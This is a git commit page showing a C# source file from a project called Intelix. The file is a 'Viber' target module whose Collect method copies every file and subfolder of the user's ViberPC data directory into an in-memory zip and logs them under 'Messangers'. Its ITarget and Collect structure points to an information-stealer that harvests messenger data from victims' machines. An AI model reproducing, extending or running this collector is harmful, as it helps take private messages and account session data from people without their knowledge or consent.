initial commit

This commit is contained in:
i2p
2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
+30
View File
@@ -0,0 +1,30 @@
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Messangers;
public class Viber : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ViberPC", "data");
if (Directory.Exists(text))
{
string entry = "Viber";
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Viber";
Array.ForEach(Directory.GetFiles(text), delegate(string file)
{
zip.AddFile(entry + "\\" + Path.GetFileName(file), File.ReadAllBytes(file));
});
Array.ForEach(Directory.GetDirectories(text), delegate(string dir)
{
zip.AddDirectoryFiles(dir, entry);
});
counterApplications.Files.Add(text + " => " + entry);
counterApplications.Files.Add(entry);
counter.Messangers.Add(counterApplications);
}
}
}